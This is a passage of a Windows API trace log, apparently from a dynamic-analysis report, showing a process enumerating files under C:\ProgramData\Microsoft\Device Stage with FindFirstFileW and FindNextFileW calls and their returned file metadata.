	[0063.544] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.545] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0063.546] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0063.546] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1
	[0063.546] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1
	[0063.546] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1
	[0063.546] FindNextFileW (in: hFindFile=0xbaa788, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0
	[0063.546] FindClose (in: hFindFile=0xbaa788 | out: hFindFile=0xbaa788) returned 1
	[0063.551] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.551] FindNextFileW (in: hFindFile=0xbaa988, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
	[0063.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa648
	[0063.552] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.552] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0063.552] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0063.552] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1
	[0063.552] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0
	[0063.552] FindClose (in: hFindFile=0xbaa648 | out: hFindFile=0xbaa648) returned 1
	[0063.553] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.553] FindNextFileW (in: hFindFile=0xbaa988, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
	[0063.553] FindClose (in: hFindFile=0xbaa988 | out: hFindFile=0xbaa988) returned 1
	[0063.553] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.557] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1
	[0063.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa348
	[0063.559] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.560] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1
	[0063.560] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa648
	[0063.583] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.583] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0063.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa2c8
	[0063.585] FindNextFileW (in: hFindFile=0xbaa2c8, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.585] FindNextFileW (in: hFindFile=0xbaa2c8, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0063.585] FindNextFileW (in: hFindFile=0xbaa2c8, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0063.589] FindClose (in: hFindFile=0xbaa2c8 | out: hFindFile=0xbaa2c8) returned 1
	[0063.589] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0063.589] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0063.590] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1
	[0063.590] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1
	[0063.590] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0063.590] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
	[0063.590] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1
	[0063.857] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1
	[0063.857] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0063.857] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1
	[0063.857] FindNextFileW (in: hFindFile=0xbaa648, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0
	[0063.857] FindClose (in: hFindFile=0xbaa648 | out: hFindFile=0xbaa648) returned 1
	[0063.858] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
	[0063.859] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
	[0063.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa388
	[0063.860] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.860] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0063.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa448
	[0063.860] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.860] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
